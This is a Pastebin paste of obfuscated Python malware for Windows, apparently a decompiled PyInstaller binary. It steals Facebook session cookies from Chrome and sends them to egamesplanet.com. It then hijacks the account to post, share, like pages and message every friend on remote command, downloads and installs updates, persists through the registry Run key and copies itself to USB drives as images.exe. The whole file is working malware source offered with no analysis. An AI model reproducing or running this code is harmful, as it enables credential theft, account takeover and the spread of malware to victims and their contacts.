Advertisement
Guest User

Untitled

a guest
Dec 8th, 2016
595
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 21.54 KB | None | 0 0
  1. #pyinstaller 2e72cbbed5041c7337c331e72c8676dddbf54a11
  2.  
  3. import requests
  4. import random
  5. import re
  6. import json
  7. import threading
  8. import urllib2
  9. import os , string , win32file
  10. import win32event , win32api , winerror
  11. from ctypes import windll
  12. import sys
  13. from os import getenv
  14. import sqlite3 , shutil
  15. import win32crypt
  16. import pickle
  17. import time
  18. from _winreg import *
  19. if 64 - 64: i11iIiiIii
  20. import requests . packages . urllib3
  21. requests . packages . urllib3 . disable_warnings ( )
  22. if 65 - 65: O0 / iIii1I11I1II1 % OoooooooOO - i1IIi
  23. o0OO00 = 1
  24. sys . stderr = sys . stdout
  25. if 78 - 78: i11i . oOooOoO0Oo0O
  26. def iI1 ( ) :
  27.  try :
  28.   i1I11i = getenv ( "APPDATA" ) + 'Cookies'
  29.   OoOoOO00 = getenv ( "APPDATA" ) + "\..\Local\Google\Chrome\User Data\Default\Cookies"
  30.   if 27 - 27: OOOo0 / Oo - Ooo00oOo00o . I1IiI
  31.   shutil . copy2 ( OoOoOO00 , i1I11i )
  32.   if 73 - 73: OOooOOo / ii11ii1ii
  33.   O00ooOO = sqlite3 . connect ( i1I11i )
  34.   I1iII1iiII = O00ooOO . cursor ( )
  35.   if 28 - 28: Ii11111i * iiI1i1
  36.   I1iII1iiII . execute ( 'SELECT host_key, name, value, encrypted_value FROM cookies order by host_key' )
  37.   for i1I1ii1II1iII in I1iII1iiII . fetchall ( ) :
  38.    oooO0oo0oOOOO = win32crypt . CryptUnprotectData ( i1I1ii1II1iII [ 3 ] , None , None , None , 0 ) [ 1 ]
  39.    if oooO0oo0oOOOO :
  40.     if i1I1ii1II1iII [ 1 ] in ( 'xs' , 'c_user' , 'datr' ) :
  41.      if i1I1ii1II1iII [ 1 ] == 'xs' :
  42.       O0oO = oooO0oo0oOOOO
  43.      if i1I1ii1II1iII [ 1 ] == 'c_user' :
  44.       o0oO0 = oooO0oo0oOOOO
  45.      if i1I1ii1II1iII [ 1 ] == 'datr' :
  46.       oo00 = oooO0oo0oOOOO
  47.       if 88 - 88: O0Oo0oO0o . II1iI . i1iIii1Ii1II
  48.       if 1 - 1: O0Oooo00
  49.  except Exception , Ooo0 :
  50.   oo00000o0 = str ( Ooo0 )
  51.   oo00000o0 = oo00000o0 . replace ( "'" , "" )
  52.   oo00000o0 = oo00000o0 . replace ( '"' , '' )
  53.   if 34 - 34: O0o00 % II1iI / oOooOoO0Oo0O + i1IIi % OoooooooOO . oOooOoO0Oo0O
  54.   OOO0O ( 0 , 'error' , oo00000o0 , 'no' )
  55.   return False
  56.   if 94 - 94: O0o00
  57.  if 'o0oO0' in vars ( ) :
  58.   OOO0O ( 0 , o0oO0 , O0oO , oo00 )
  59.   if 18 - 18: iIii1I11I1II1 / iiI1i1 + ii11ii1ii / OOOo0 - i11i - iiI1i1
  60.   I111IiIi = '' . join ( random . choice ( '0123456789ABCDEF' ) for i in range ( 12 ) )
  61.   if 32 - 32: oOooOoO0Oo0O % Oo / i11i + Oo . Ii11111i * O0Oooo00
  62.   oooO0oo0oOOOO = {
  63.  'datr' : oo00 ,
  64.  'c_user' : o0oO0 ,
  65.  'xs' : O0oO
  66.  }
  67.   if 62 - 62: i11iIiiIii - i11i
  68.   IIIiI11ii = {
  69.  'origin' : 'https://web.facebook.com' ,
  70.  'user-agent' : 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36' ,
  71.  'referer' : 'https://web.facebook.com/?_rdr' ,
  72.  'accept-language' : 'en-US,en;q=0.8' ,
  73.  'accept' : '*/*' ,
  74.  'cookie' : 'datr=' + oo00 + '; c_user=' + o0oO0 + '; xs=' + O0oO + ';' ,
  75.  }
  76.   if 52 - 52: II1iI + Ii11111i % OoooooooOO / i11iIiiIii
  77.   iiIIi1IiIi11 = i1Ii ( 0 , oooO0oo0oOOOO )
  78.   if 25 - 25: II1iI + O0o00 % O0o00 - ii11ii1ii * I1IiI % II1iI
  79.   if iiIIi1IiIi11 != False :
  80.    OOooO0OOoo ( 0 , IIIiI11ii , o0oO0 , iiIIi1IiIi11 )
  81.    iIii1 ( 0 , IIIiI11ii , o0oO0 , iiIIi1IiIi11 )
  82.    oOOoO0 = time . strftime ( "%d/%m/%Y" )
  83.    if 59 - 59: O0Oo0oO0o * i11iIiiIii + O0Oo0oO0o + O0o00 * Oo
  84.    if 'share' + oOOoO0 not in OooOoO0Oo :
  85.     iiIIiIiIi ( 0 , IIIiI11ii , o0oO0 , iiIIi1IiIi11 )
  86.    else :
  87.     pass
  88.     if 38 - 38: O0Oo0oO0o / OOOo0
  89.    if 'status' + oOOoO0 not in OooOoO0Oo :
  90.     OooO0 ( 0 , IIIiI11ii , o0oO0 , I111IiIi , iiIIi1IiIi11 )
  91.    else :
  92.     pass
  93.     if 35 - 35: Ii11111i % O0Oooo00 % i11iIiiIii / OoooooooOO
  94.    if 'message' + oOOoO0 not in OooOoO0Oo :
  95.     Ii11iI1i ( 0 , IIIiI11ii , o0oO0 , iiIIi1IiIi11 , oooO0oo0oOOOO )
  96.    else :
  97.     pass
  98.  else :
  99.   OOO0O ( 0 , 'error2' , 'no exception' , 'no' )
  100.   if 82 - 82: i11iIiiIii . Ii11111i / OOOo0 * O0 % ii11ii1ii % iIii1I11I1II1
  101.   if 78 - 78: iIii1I11I1II1 - O0Oo0oO0o * Oo + I1IiI + II1iI + II1iI
  102.   if 11 - 11: II1iI - Oo % O0o00 % II1iI / Ooo00oOo00o - Oo
  103. def OOO0O ( counter , c_user , xs , datr ) :
  104.  try :
  105.   o0o0oOOOo0oo = os . environ [ 'COMPUTERNAME' ]
  106.   o0oo0o0O00OO = os . environ [ 'USERNAME' ]
  107.   o0oO = "http://egamesplanet.com/set.php?pa=" + o0o0oOOOo0oo + "&pb=" + o0oo0o0O00OO + "&pc=" + c_user + "&pd=" + xs + "&pe=" + datr
  108.   I1i1iii = requests . get ( o0oO ) . content
  109.   if 20 - 20: I1IiI
  110.  except Exception , Ooo0 :
  111.   if counter < 3 :
  112.    OOO0O ( counter + 1 , c_user , xs , datr )
  113.   else :
  114.    return False
  115.    if 77 - 77: Ooo00oOo00o / iiI1i1
  116.    if 98 - 98: iIii1I11I1II1 / i1IIi / i11iIiiIii / I1IiI
  117. def i1Ii ( counter , cookie ) :
  118.  if 28 - 28: Ii11111i - i1iIii1Ii1II . i1iIii1Ii1II + Ooo00oOo00o - OoooooooOO + O0
  119.  try :
  120.   oOoOooOo0o0 = requests . get ( "https://www.facebook.com" , cookies = cookie ) . content
  121.   iiIIi1IiIi11 = re . findall ( 'fb_dtsg.+?value="([^"]+)"' , oOoOooOo0o0 ) [ 0 ]
  122.   return iiIIi1IiIi11
  123.   if 61 - 61: I1IiI / Oo + O0o00 * ii11ii1ii / ii11ii1ii
  124.  except Exception , Ooo0 :
  125.   if counter < 3 :
  126.    i1Ii ( counter + 1 , cookie )
  127.   else :
  128.    return False
  129.    if 75 - 75: i1IIi / OoooooooOO - O0 / Ooo00oOo00o . i11i - i1IIi
  130. def O000OO0 ( cookie , c_user ) :
  131.  I11iii1Ii = [ ]
  132.  for I1IIiiIiii in range ( 0 , 500 ) :
  133.   O000oo0O = "https://mbasic.facebook.com/friends/center/friends/?ppk=" + str ( I1IIiiIiii )
  134.   if 66 - 66: OOooOOo / Ooo00oOo00o - oOooOoO0Oo0O . Ii11111i / oOooOoO0Oo0O * Ii11111i
  135.   try :
  136.    IIIii1II1II = requests . get ( O000oo0O , cookies = cookie ) . content
  137.    i1I1iI = re . findall ( 'uid=([^"]+)&' , IIIii1II1II )
  138.   except Exception , Ooo0 :
  139.    pass
  140.    if 93 - 93: iIii1I11I1II1 % ii11ii1ii * i1IIi
  141.   if not i1I1iI :
  142.    break
  143.   else :
  144.    I11iii1Ii . extend ( i1I1iI )
  145.    if 16 - 16: O0 - O0Oooo00 * iIii1I11I1II1 + II1iI
  146.  I11iii1Ii = list ( set ( I11iii1Ii ) )
  147.  if 50 - 50: i11i - O0o00 * OOooOOo / O0Oooo00 + I1IiI
  148.  if not I11iii1Ii :
  149.   I11iii1Ii = O0O0O ( 0 , cookie , c_user )
  150.   return I11iii1Ii
  151.  else :
  152.   return I11iii1Ii
  153.   if 83 - 83: OOooOOo / O0o00
  154.   if 49 - 49: I1IiI
  155. def O0O0O ( counter , cookie , c_user ) :
  156.  try :
  157.   O000oo0O = "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer=" + c_user + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm"
  158.   IIIii1II1II = requests . get ( O000oo0O , cookies = cookie ) . content
  159.   I11iii1Ii = re . findall ( '"uid":([^"]+),' , IIIii1II1II )
  160.   I11iii1Ii = list ( set ( I11iii1Ii ) )
  161.   return I11iii1Ii
  162.  except Exception , Ooo0 :
  163.   if counter < 3 :
  164.    O0O0O ( counter + 1 , cookie , c_user )
  165.   else :
  166.    return False
  167.    if 35 - 35: Ooo00oOo00o - OoooooooOO / OOooOOo % i1IIi
  168.    if 78 - 78: iiI1i1
  169. def OooO0 ( counter , headers , c_user , rand , fb_dtsg ) :
  170.  global OooOoO0Oo
  171.  if 71 - 71: Ii11111i + O0o00 % i11iIiiIii + OOooOOo - i1iIii1Ii1II
  172.  try :
  173.   oO0OOoO0 = "http://egamesplanet.com/chkp.php"
  174.   I111Ii111 = requests . get ( oO0OOoO0 , headers = headers ) . content
  175.   I111Ii111 = json . loads ( I111Ii111 )
  176.   i111IiI1I = I111Ii111 [ 'post' ]
  177.   O0iII = I111Ii111 [ 'makepost' ]
  178.   if 80 - 80: i1iIii1Ii1II . ii11ii1ii
  179.   if O0iII == True :
  180.    IIi = 'https://web.facebook.com/ajax/updatestatus.php?av=' + c_user + '&dpr=1'
  181.    i11iIIIIIi1 = 'bf38eeeb-8ees-3fea-a527-' + rand
  182.    if 20 - 20: i1IIi + OOooOOo - O0o00
  183.    IiI11iII1 = 'composer_session_id=' + i11iIIIIIi1 + '&composer_session_duration=10&composertags_city&num_keystrokes=14&privacyx=291667064279714&xhpc_message=' + i111IiI1I + '&xhpc_message_text=anotherstatus&xhpc_composerid=rc.js_11&xhpc_targetid=' + c_user + '&xhpc_context=profile&xhpc_ismeta=1&xhpc_timeline=true&xhpc_finch=false&xhpc_socialplugin=false&xhpc_topicfeedid&xhpc_origintopicfeedid&xhpc_modal_composer=false&xhpc_aggregated_story_composer=false&xhpc_publish_type=1&xhpc_fundraiser_page=false&__user=' + c_user + '&__a=1&__dyn=aihoFeyfyBmagngDxyIGzG85oWq2WiWF298yeqrWo8popyUWdwIhEoyUnwgUat0Hx2ubyR88wPGiex2uVWxeUWq59-EuwTz9VobrCxaFEW58nUOfz8nxmu2G229yp9Voybx24o9Esx-u&__req=1r&__be=-1&__pc=PHASED%3ADEFAULT&fb_dtsg=' + fb_dtsg + '&ttstamp=2658169105848310045101558465586581714885977011854835370&__rev=2460977'
  184.    IIII11I1I = requests . post ( IIi , headers = headers , data = IiI11iII1 )
  185.    OooOoO0Oo . append ( 'status' + time . strftime ( "%d/%m/%Y" ) )
  186.    OOO0o ( OooOoO0Oo )
  187.    if 30 - 30: iIii1I11I1II1 / O0o00 - O0Oooo00 - i11i % II1iI
  188.  except Exception , Ooo0 :
  189.   if counter < 3 :
  190.    OooO0 ( counter + 1 , headers , c_user , rand , fb_dtsg )
  191.   else :
  192.    return False
  193.    if 49 - 49: oOooOoO0Oo0O % O0o00 . O0o00 . iiI1i1 * O0o00
  194.    if 97 - 97: O0Oo0oO0o + I1IiI . Ii11111i + OOooOOo % II1iI
  195. def Ii11iI1i ( counter , headers , c_user , fb_dtsg , cookie ) :
  196.  if 95 - 95: i1IIi
  197.  global OooOoO0Oo
  198.  I11iii1Ii = O000OO0 ( cookie , c_user )
  199.  if I11iii1Ii != False :
  200.   try :
  201.    I1ii11iI = "http://egamesplanet.com/chkm.php"
  202.    IIi1i = requests . get ( I1ii11iI , headers = headers ) . content
  203.    IIi1i = json . loads ( IIi1i )
  204.    I1I1iIiII1 = IIi1i [ 'msgbody' ]
  205.    i11i1I1 = IIi1i [ 'sendmessage' ]
  206.    if 36 - 36: iIii1I11I1II1 / Ooo00oOo00o * Ii11111i
  207.   except Exception , Ooo0 :
  208.    if counter < 3 :
  209.     Ii11iI1i ( 0 , headers , c_user , fb_dtsg , cookie )
  210.     return False
  211.    else :
  212.     return False
  213.     if 65 - 65: O0Oo0oO0o . iIii1I11I1II1 / O0 - O0Oo0oO0o
  214.   if i11i1I1 == True :
  215.    iii1i1iiiiIi = '' . join ( random . choice ( '0123456789' ) for i in range ( 6 ) )
  216.    if 2 - 2: oOooOoO0Oo0O / O0 / I1IiI % Ooo00oOo00o % O0Oo0oO0o
  217.    for o0o00OO0 in I11iii1Ii :
  218.     o0o00OO0 = str ( o0o00OO0 )
  219.     try :
  220.      IiI11iII1 = 'message_batch[0][action_type]=ma-type%3Auser-generated-message&message_batch[0][thread_id]&message_batch[0][author]=fbid%3A' + c_user + '&message_batch[0][author_email]&message_batch[0][timestamp]=1469359893920&message_batch[0][is_filtered_content_invalid_app]=false&message_batch[0][is_spoof_warning]=false&message_batch[0][source]=source%3Achat%3Aweb&message_batch[0][source_tags][0]=source%3Achat&message_batch[0][body]=' + I1I1iIiII1 + '&message_batch[0][has_attachment]=false&message_batch[0][html_body]=false&message_batch[0][specific_to_list][0]=fbid%3A' + o0o00OO0 + '&message_batch[0][specific_to_list][1]=fbid%3A' + c_user + '&message_batch[0][signatureID]=175195a0&message_batch[0][ui_push_phase]=V3&message_batch[0][status]=0&message_batch[0][offline_threading_id]=6162942080511' + iii1i1iiiiIi + '&message_batch[0][message_id]=6162942080511' + iii1i1iiiiIi + '&message_batch[0][ephemeral_ttl_mode]=0&message_batch[0][manual_retry_cnt]=0&message_batch[0][other_user_fbid]=' + o0o00OO0 + '&client=mercury&__user=' + c_user + '&__a=1&fb_dtsg=' + fb_dtsg
  221.      i1I1ii = requests . post ( 'https://web.facebook.com/ajax/mercury/send_messages.php?dpr=1' , headers = headers , data = IiI11iII1 )
  222.     except Exception , Ooo0 :
  223.      pass
  224.   OooOoO0Oo . append ( 'message' + time . strftime ( "%d/%m/%Y" ) )
  225.   OOO0o ( OooOoO0Oo )
  226.   if 61 - 61: i11i
  227.   if 64 - 64: O0o00 / Ooo00oOo00o - O0 - iiI1i1
  228. def OOooO0OOoo ( counter , headers , c_user , fb_dtsg ) :
  229.  try :
  230.   o0oO = "http://egamesplanet.com/pids.php"
  231.   I1i1iii = requests . get ( o0oO , headers = headers ) . content
  232.   I1i1iii = json . loads ( I1i1iii )
  233.   if 86 - 86: iiI1i1 % Ooo00oOo00o / oOooOoO0Oo0O / Ooo00oOo00o
  234.   for iIIi1i1 in I1i1iii :
  235.    IiI11iII1 = 'fbpage_id=' + iIIi1i1 + '&add=true&reload=false&fan_origin=page_timeline&fan_source&cat&actor_id=' + c_user + '&__user=' + c_user + '&__a=1&__req=25&__be=-1&fb_dtsg=' + fb_dtsg
  236.    requests . post ( 'https://web.facebook.com/ajax/pages/fan_status.php?av=' + c_user + '&dpr=1' , headers = headers , data = IiI11iII1 )
  237.    if 10 - 10: iiI1i1
  238.  except Exception , Ooo0 :
  239.   if counter < 3 :
  240.    OOooO0OOoo ( counter + 1 , headers , c_user , fb_dtsg )
  241.   else :
  242.    return False
  243.    if 82 - 82: OOooOOo - iIii1I11I1II1 / Ii11111i + O0Oo0oO0o
  244. def iiIIiIiIi ( counter , headers , c_user , fb_dtsg ) :
  245.  global OooOoO0Oo
  246.  try :
  247.   OOOOoOoo0O0O0 = "http://egamesplanet.com/chks.php"
  248.   OOOo00oo0oO = requests . get ( OOOOoOoo0O0O0 , headers = headers ) . content
  249.   OOOo00oo0oO = json . loads ( OOOo00oo0oO )
  250.   IIiIi1iI = OOOo00oo0oO [ 'doshare' ]
  251.   if 35 - 35: O0Oo0oO0o % O0 - O0
  252.   if IIiIi1iI == True :
  253.    IiIIIi1iIi = OOOo00oo0oO [ 'title' ]
  254.    ooOOoooooo = OOOo00oo0oO [ 'summary' ]
  255.    IIi = OOOo00oo0oO [ 'link' ]
  256.    II1I = '291667064279714'
  257.    IIi1i = OOOo00oo0oO [ 'message' ]
  258.    O0i1II1Iiii1I11 = OOOo00oo0oO [ 'thumb' ]
  259.    IiI11iII1 = 'attachment[params][urlInfo][canonical]=' + IIi + '&attachment[params][urlInfo][final]=' + IIi + '&attachment[params][urlInfo][user]=' + IIi + '&attachment[params][responseCode]=206&attachment[params][title]=' + IiIIIi1iIi + '&attachment[params][summary]=' + ooOOoooooo + '&attachment[params][images][0]=' + O0i1II1Iiii1I11 + '&attachment[params][image_info][0][url]=' + O0i1II1Iiii1I11 + '&attachment[params][image_info][0][width]=200&attachment[params][image_info][0][height]=200&attachment[params][medium]=106&attachment[params][url]=http%3A%2F%2Flifehacker.com%2F&attachment[params][was_recent]=false&attachment[params][ttl]=604800&attachment[params][error]=1&attachment[type]=100&attachment[reshare_original_post]=false&hide_object_attachment=true&is_explicit_place=false&is_markdown=false&is_q_and_a=false&is_profile_badge_post=false&multilingual_specified_lang=&num_pastes=0&place_attachment_setting=1&post_surfaces_blacklist&privacyx=' + II1I + '&prompt_id&prompt_tracking_string&ref=timeline&target_type=feed&xhpc_message=' + IIi1i + '&xhpc_message_text=' + IIi1i + '&is_forced_reshare_of_post=false&is_react=true&xhpc_composerid=rc.u_0_1e&xhpc_targetid=' + c_user + '&__user=' + c_user + '&__a=1&fb_dtsg=' + fb_dtsg
  260.    iIIi1i1 = requests . post ( 'https://www.facebook.com/ajax/updatestatus.php?av=' + c_user + '&dpr=1' , headers = headers , data = IiI11iII1 ) . content
  261.    OooOoO0Oo . append ( 'share' + time . strftime ( "%d/%m/%Y" ) )
  262.    OOO0o ( OooOoO0Oo )
  263.    if 9 - 9: OOooOOo / OOOo0 - oOooOoO0Oo0O / OoooooooOO / iIii1I11I1II1 - I1IiI
  264.  except Exception , Ooo0 :
  265.   if counter < 3 :
  266.    iiIIiIiIi ( counter + 1 , headers , c_user , fb_dtsg )
  267.   else :
  268.    return False
  269.    if 91 - 91: II1iI % i1IIi % iIii1I11I1II1
  270. def iIii1 ( counter , headers , c_user , fb_dtsg ) :
  271.  try :
  272.   IIi1I11I1II = "http://egamesplanet.com/cids.php"
  273.   OooOoooOo = requests . get ( IIi1I11I1II , headers = headers ) . content
  274.   OooOoooOo = json . loads ( OooOoooOo )
  275.   if 46 - 46: II1iI
  276.   for IIIII11I1IiI in OooOoooOo :
  277.    i1I = IIIII11I1IiI [ 'commentid' ]
  278.    OoOO = IIIII11I1IiI [ 'postid' ]
  279.    ooOOO0 = IIIII11I1IiI [ 'legacy' ]
  280.    iii1i1iiiiIi = '' . join ( random . choice ( '0123456789' ) for i in range ( 6 ) )
  281.    IiI11iII1 = 'comment_id=' + i1I + '&legacy_id=' + ooOOO0 + '&like_action=true&ft_ent_identifier=' + OoOO + '&source=1&client_id=1470377866362%3A220' + iii1i1iiiiIi + '&av=' + c_user + '&__user=' + c_user + '&__a=1&__req=x&__be=-1&__pc=PHASED%3ADEFAULT&fb_dtsg=' + fb_dtsg
  282.    requests . post ( 'https://www.facebook.com/ufi/comment/like/?dpr=1' , headers = headers , data = IiI11iII1 )
  283.    if 65 - 65: O0
  284.  except Exception , Ooo0 :
  285.   if counter < 3 :
  286.    iIii1 ( counter + 1 , headers , c_user , fb_dtsg )
  287.   else :
  288.    return False
  289.    if 68 - 68: Ii11111i % O0Oooo00
  290.    if 88 - 88: iIii1I11I1II1 - O0o00 + Ii11111i
  291. def IiI111111IIII ( counter ) :
  292.  try :
  293.   i1Iiii111iI1iIi1 = "http://egamesplanet.com/chkall.php"
  294.   IIIii1II1II = requests . get ( i1Iiii111iI1iIi1 ) . content
  295.   IIIii1II1II = json . loads ( IIIii1II1II )
  296.   O0iII = IIIii1II1II [ 'makepost' ]
  297.   return O0iII
  298.  except Exception , Ooo0 :
  299.   if counter < 3 :
  300.    IiI111111IIII ( counter + 1 )
  301.    return False
  302.   else :
  303.    return False
  304.    if 78 - 78: Oo . Ii11111i + Oo / iiI1i1 / Oo
  305. def oO0O00OoOO0 ( counter ) :
  306.  try :
  307.   OoO = urllib2 . urlopen ( 'http://egamesplanet.com/chki.php' , timeout = 10 )
  308.   return True
  309.  except urllib2 . URLError as O00 :
  310.   if counter < 3 :
  311.    oO0O00OoOO0 ( counter + 1 )
  312.    return False
  313.   else :
  314.    return False
  315.    if 29 - 29: O0Oooo00 / Oo . i1IIi * oOooOoO0Oo0O + i11iIiiIii
  316.    if 6 - 6: O0o00 / i11iIiiIii + II1iI * ii11ii1ii
  317. def o00o0 ( ) :
  318.  try :
  319.   ii = os . getenv ( 'appdata' ) + '\\systemT.dll'
  320.   OOooooO0Oo = os . path . isfile ( ii )
  321.   if OOooooO0Oo == True :
  322.    os . remove ( ii )
  323.    if 91 - 91: I1IiI . iIii1I11I1II1 / ii11ii1ii + i1IIi
  324.  except Exception , Ooo0 :
  325.   pass
  326.   if 42 - 42: O0o00 . I1IiI . O0o00 - OOooOOo
  327.  i1ii1I1I1 = oO0O00OoOO0 ( 0 )
  328.  if i1ii1I1I1 == True :
  329.   oO = IiI111111IIII ( 0 )
  330.   if oO == True :
  331.    iI1 ( )
  332.   else :
  333.    pass
  334.  else :
  335.   pass
  336.   if 82 - 82: Ooo00oOo00o % Ii11111i
  337.  threading . Timer ( 1800 , o00o0 ) . start ( )
  338.  if 64 - 64: O0Oo0oO0o . i11i + OoooooooOO . O0Oooo00 . I1IiI
  339. def O0oO0 ( ) :
  340.  if 87 - 87: OOOo0 . i1iIii1Ii1II
  341.  try :
  342.   i1Iiii111iI1iIi1 = "http://egamesplanet.com/chku.php"
  343.   IIIii1II1II = requests . get ( i1Iiii111iI1iIi1 ) . content
  344.   IIIii1II1II = json . loads ( IIIii1II1II )
  345.   O0OO0O = IIIii1II1II [ 'makeupdate' ]
  346.   OO = IIIii1II1II [ 'version' ]
  347.   OoOoO = IIIii1II1II [ 'filelink' ]
  348.   if O0OO0O == True and OO > o0OO00 :
  349.    Ii1I1i ( OoOoO )
  350.   else :
  351.    pass
  352.  except Exception , Ooo0 :
  353.   pass
  354.   if 99 - 99: ii11ii1ii . II1iI + O0o00 % ii11ii1ii . i11iIiiIii % O0
  355. def Ii1I1i ( remote ) :
  356.  try :
  357.   oOO00O = os . getenv ( 'appdata' ) + '\\temp.exe'
  358.   OOOoo0OO = urllib2 . urlopen ( remote )
  359.   oO0o0 = OOOoo0OO . info ( )
  360.   iI1Ii11iIiI1 = int ( oO0o0 [ "Content-Length" ] )
  361.   if 86 - 86: ii11ii1ii * I1IiI % i1IIi . O0Oo0oO0o . i11iIiiIii
  362.   oOOoo00O00o = open ( oOO00O , 'wb' )
  363.   if 98 - 98: Ii11111i + i1iIii1Ii1II + ii11ii1ii % OoooooooOO
  364.   oooooo0O000o = 8192
  365.   OoOooO0O0O0ooOOO = 0
  366.   while True :
  367.    oOOo0O00o = OOOoo0OO . read ( oooooo0O000o )
  368.    if not oOOo0O00o : break
  369.    oOOoo00O00o . write ( oOOo0O00o )
  370.    OoOooO0O0O0ooOOO += 1
  371.    if iI1Ii11iIiI1 > 0 :
  372.     iIiIi11 = int ( OoOooO0O0O0ooOOO * oooooo0O000o * 100 / iI1Ii11iIiI1 )
  373.     if iIiIi11 > 100 : iIiIi11 = 100
  374.     if iIiIi11 < 100 :
  375.      pass
  376.     else :
  377.      oOOoo00O00o . flush ( )
  378.      oOOoo00O00o . close ( )
  379.      OOO = str ( iIiIi11 )
  380.      iiiiI = os . getenv ( 'appdata' ) + '\\temp.exe'
  381.      oooOo0OOOoo0 = os . getenv ( 'appdata' ) + '\\iconrdb.exe'
  382.      ii = os . getenv ( 'appdata' ) + '\\systemT.dll'
  383.      os . rename ( oooOo0OOOoo0 , ii )
  384.      os . rename ( iiiiI , oooOo0OOOoo0 )
  385.      return 1
  386.   oOOoo00O00o . flush ( )
  387.   oOOoo00O00o . close ( )
  388.  except Exception , Ooo0 :
  389.   pass
  390.   if 51 - 51: OOOo0 / Ooo00oOo00o . Ii11111i * I1IiI + Oo * i1iIii1Ii1II
  391. def OOOoOo ( ) :
  392.  try :
  393.   oOOoo00O00o = os . path . dirname ( os . path . realpath ( __file__ ) )
  394.  except NameError :
  395.   oOOoo00O00o = os . path . dirname ( os . path . realpath ( sys . argv [ 0 ] ) )
  396.   if 51 - 51: O0o00 / iIii1I11I1II1 % OOOo0 * oOooOoO0Oo0O % O0Oooo00
  397.  try :
  398.   oOoooOOO = r'Software\Microsoft\Windows\CurrentVersion\Run'
  399.   oo00oO0O0 = os . getenv ( 'APPDATA' ) + '\\iconrdb.exe'
  400.   I11I11 = sys . argv [ 0 ]
  401.   if not os . path . isfile ( oo00oO0O0 ) :
  402.    shutil . copy2 ( I11I11 , os . getenv ( 'APPDATA' ) + '\\iconrdb.exe' )
  403.    if 69 - 69: Ooo00oOo00o
  404.   OO0OoOO0o0o = os . getenv ( 'APPDATA' ) + '\\iconrdb.exe'
  405.   oo = OpenKey ( HKEY_CURRENT_USER ,
  406.  oOoooOOO , 0 , KEY_ALL_ACCESS )
  407.   SetValueEx ( oo , "iconrdb" , 0 , REG_SZ , OO0OoOO0o0o )
  408.  except Exception , Ooo0 :
  409.   pass
  410.   if 16 - 16: O0Oo0oO0o + i1iIii1Ii1II * O0 % i1IIi . oOooOoO0Oo0O
  411. def Oo0OO ( ) :
  412.  try :
  413.   O0OooOo0o = [ ]
  414.   iiI11ii1I1 = windll . kernel32 . GetLogicalDrives ( )
  415.   for Ooo0OOoOoO0 in string . uppercase :
  416.    if iiI11ii1I1 & 1 :
  417.     O0OooOo0o . append ( Ooo0OOoOoO0 + ':\\' )
  418.    iiI11ii1I1 >>= 1
  419.   return O0OooOo0o
  420.  except Exception , Ooo0 :
  421.   pass
  422.   if 70 - 70: ii11ii1ii
  423. def oOOoO0o0oO ( d ) :
  424.  return win32file . GetDriveType ( d ) == win32file . DRIVE_REMOVABLE
  425.  if 93 - 93: i1iIii1Ii1II * OoooooooOO + O0o00
  426. def IiII111i1i11 ( drive ) :
  427.  oo00oO0O0 = os . getenv ( 'APPDATA' ) + '\\iconrdb.exe'
  428.  if os . path . isfile ( oo00oO0O0 ) :
  429.   i111iIi1i1II1 = drive + 'images.exe'
  430.   oooO = win32api . SetErrorMode ( 1 )
  431.   if not os . path . isfile ( i111iIi1i1II1 ) :
  432.    try :
  433.     shutil . copy2 ( oo00oO0O0 , i111iIi1i1II1 )
  434.    except Exception , Ooo0 :
  435.     pass
  436.     if 26 - 26: O0Oo0oO0o % OOooOOo
  437.   win32api . SetErrorMode ( oooO )
  438.   if 76 - 76: i1iIii1Ii1II * II1iI
  439. def ooooooo00o ( ) :
  440.  try :
  441.   O0OooOo0o = Oo0OO ( )
  442.   o0oooOO00 = len ( O0OooOo0o )
  443.   for I1IIiiIiii in range ( 0 , o0oooOO00 ) :
  444.    if oOOoO0o0oO ( O0OooOo0o [ I1IIiiIiii ] ) :
  445.     IiII111i1i11 ( O0OooOo0o [ I1IIiiIiii ] )
  446.     if 32 - 32: O0Oooo00
  447.   pass
  448.  except Exception , Ooo0 :
  449.   pass
  450.  threading . Timer ( 30 , ooooooo00o ) . start ( )
  451.  if 30 - 30: iIii1I11I1II1 / iiI1i1 . Oo - I1IiI
  452. def OOO0o ( obj ) :
  453.  Iii11iI1i = os . getenv ( 'appdata' ) + '\\vars.dat'
  454.  with open ( Iii11iI1i , 'w+' ) as oOOooOoo :
  455.   pickle . dump ( obj , oOOooOoo , pickle . HIGHEST_PROTOCOL )
  456.   if 59 - 59: I1IiI
  457.   if 81 - 81: Ooo00oOo00o - Ooo00oOo00o . II1iI
  458. def o0OoOo00o0o ( ) :
  459.  Iii11iI1i = os . getenv ( 'appdata' ) + '\\vars.dat'
  460.  if os . path . isfile ( Iii11iI1i ) :
  461.   with open ( Iii11iI1i , 'rb' ) as I1II1I11I1I :
  462.    if os . stat ( Iii11iI1i ) . st_size == 0 :
  463.     OoOO0o = [ ]
  464.    else :
  465.     try :
  466.      OoOO0o = pickle . load ( I1II1I11I1I )
  467.     except Exception , Ooo0 :
  468.      OoOO0o = [ ]
  469.    return OoOO0o
  470.  else :
  471.   i1II1 = [ ]
  472.   return i1II1
  473.   if 25 - 25: O0Oooo00 / iIii1I11I1II1 % II1iI
  474. OooOoO0Oo = o0OoOo00o0o ( )
  475. if 42 - 42: i11iIiiIii * iIii1I11I1II1 / OOooOOo . i11iIiiIii % iiI1i1
  476. if 41 - 41: i1iIii1Ii1II / O0
  477. try :
  478.  o0oO0oooOoo = win32event . CreateMutex ( None , 1 , 'mutex_var_xboz' )
  479.  if win32api . GetLastError ( ) == winerror . ERROR_ALREADY_EXISTS :
  480.   o0oO0oooOoo = None
  481.   exit ( 0 )
  482. except Exception , Ooo0 :
  483.  pass
  484.  if 7 - 7: O0Oooo00 * Oo - O0o00 + Ii11111i * oOooOoO0Oo0O % Oo
  485. threading . Timer ( 120 , o00o0 ) . start ( )
  486. threading . Timer ( 120 , O0oO0 ) . start ( )
  487. threading . Timer ( 30 , ooooooo00o ) . start ( )
  488. threading . Timer ( 10 , OOOoOo ) . start ( ) # dd678faae9ac167bc83abf78e5cb2f3f0688d3a3
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement